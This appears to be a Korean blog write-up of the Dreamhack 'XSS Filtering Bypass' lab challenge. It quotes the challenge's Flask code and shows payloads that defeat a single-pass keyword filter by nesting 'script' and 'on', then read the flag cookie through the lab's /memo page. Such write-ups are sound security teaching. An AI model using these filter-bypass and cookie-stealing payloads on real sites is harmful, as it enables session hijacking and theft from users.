본문 바로가기

웹해킹

드림핵 XSS Filtering Bypass 롸업

<문제>

Exercise: XSS Filtering Bypass에서 실습하는 문제입니다.

 

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

코드의 흐름을 보면 flag 링크에서 param을 입력하고 요청을 보내면,

check_xss함수에서 vuln 링크로 요청을 보낸다.

vuln 링크에서는 xss_filter함수로 필터링을 한다.

 

여기서 xss_filter함수의 필터링을 우회하면 되는데 코드에서

script, on, javascript를 필터링하고 있다.

replace 방식으로 필터링하고 있기 때문에 scrscriptipt 이런식으로 작성해서 우회할 수 있다.

 

여기서 cookie에 담겨있는 flag를 읽어야 하는데

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)

이렇게 아주 유용한 링크가 있어서 memo링크로 요청을 보내서 볼 수 있게 하면 된다.

 

<scscriptript> location.href='/memo?memo='+document.cookie;</scrscriptipt>

이렇게 flag 링크에서 공격 구문을 작성해서 보냈는데 안된다.

뭐가 문젠지 몰라서 헤맸는데 location에서 on이 들어가 있어서 필터링이 되고 있었다.

<scrscriptipt> locatioonn.href='/memo?memo='+document.cookie;</scrscriptipt>

이렇게 location도 정상적으로 실행이 되게 우회를 시켜주고

요청을 보낸다.

 

memo링크로 들어가 보면

cookie에 담겨있던 flag가 보인다.

'웹해킹' 카테고리의 다른 글

Content Security Policy & CSP Bypass  (0) 2023.11.24
드림핵 XSS Filtering Bypass Advanced 롸업  (0) 2023.11.21
XSS Filtering Bypass  (0) 2023.11.20
드림핵 blind-command 롸업  (0) 2023.11.05
드림핵 Carve Party 롸업  (0) 2023.11.05